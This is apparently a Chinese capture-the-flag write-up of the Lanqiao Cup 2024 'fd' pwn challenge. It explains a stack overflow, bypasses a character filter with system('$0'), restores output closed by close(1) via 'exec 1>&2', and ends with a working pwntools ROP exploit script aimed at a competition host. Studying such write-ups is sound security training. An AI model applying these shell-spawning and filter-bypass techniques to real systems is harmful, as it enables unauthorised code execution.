【蓝桥杯 2024】fd
收获
利用
system("$0")
这种不常见的方式获取 shell利用
exec 1>&2
重定向绕过close(1)
思路
分析程序保护:
IDA 下分析:
程序逻辑是比较简单的,首先向 info
所在地址输入 0xE 的长度
info
位于 BSS 段上
然后 buf
处存在明显溢出:
并且程序中存在 system()
函数:
但没有 "/bin/sh"
:
因此,很自然地想到通过 info
往 BSS 段写入 "/bin/sh"
然后溢出 buf
构造 system("/bin/sh")
但如果真是这样,就没必要有这篇文章了哈哈哈
因为发现在输入 buf
后会执行一个 check()
函数
这里会检测我们输入到 info
处的数据,不能包含 'b'
、'i'
、'n'
、'/'
、's'
同时也不能存在连续三个字符为 "cat"
因此,我们构造 system("/bin/sh")
、system("sh")
、system("cat flag")
都是行不通的
所以这里要用到一个比较少见的获取 shell 的方式:system("$0")
$0
是 Linux shell 中的一个环境变量,指的是 shell 本身的文件名,因此system("$0")
的功能等价于system("/bin/sh")
另外,还有
$1
和$2
等:
$1
是传递给该 shell 脚本的第一个参数
$2
是传递给该 shell 脚本的第二个参数
但这样也还没有结束,因为即使我们绕过了检测,这个函数的返回值是 close(1)
先来看看 close()
是个什么函数:
这里的 fd
明显是文件描述符,也就是关闭了文件描述符 1 的功能
Linux 下的三种文件描述符:
fd = 0
:标准输入文件stdin
fd = 1
:标准输出文件stdout
fd = 2
:标准错误输出文件stderr
因此这里是关闭了标准输出的功能
在获取 shell 后的表现是这样的:
可以看到,我们已经通过构造 system("$0")
获取了 shell,但是 ls
、cat
等指令是无法使用的
因为这些指令都需要使用到 Linux 的标准输出,也就是 fd = 1
,而这里使用 close(1)
关闭了标准输出
但是可以通过重定向来绕过,使用如下命令实现重定向:
exec 1>&2 # 也可以简写为:exec >&2
当然,我们也可以不使用 exec 1>&2
,而是直接执行指令,例如:
whoami 1>&2 # 也可以简写为:whoami >&2
一些重定向的知识:
1>&2
:把标准输出重定向到标准错误2>&1
:把标准错误输出重定向到标准输出&>filename
:把标准输出和标准错误输出都重定向到文件 filename 中例如常见的重定向:
echo "xxx" > filename.txt # 把 "xxx" 写入到 filename.txt 文件中
脚本
from pwn import *
# 设置系统架构, 打印调试信息
# arch 可选 : i386 / amd64 / arm / mips
context(os='linux', arch='amd64', log_level='debug')
# PWN 远程 : content = 0, PWN 本地 : content = 1
content = 1
elf = ELF("./pwn")
if content == 1:
# 将本地的 Linux 程序启动为进程 io
io = process("./pwn")
else:
# 远程程序的 IP 和端口号
io = remote("47.93.142.240", 44180)
# 附加 gdb 调试
def debug(cmd=""):
if content == 1: # 只有本地才可调试,远程无法调试
gdb.attach(io, cmd)
pause()
io.recvuntil(b"restricted stack.\n")
payload = b'$0\x00'
io.send(payload)
info_addr = 0x601090
pop_rdi_ret = 0x400933
ret = 0x4005ae
system_addr = elf.plt["system"]
print("system_plt --->", hex(system_addr))
payload = b'a' * (0x20 + 8)
payload += p64(pop_rdi_ret) + p64(info_addr) + p64(ret)
payload += p64(system_addr)
# debug()
io.sendline(payload)
# 与远程交互
io.interactive()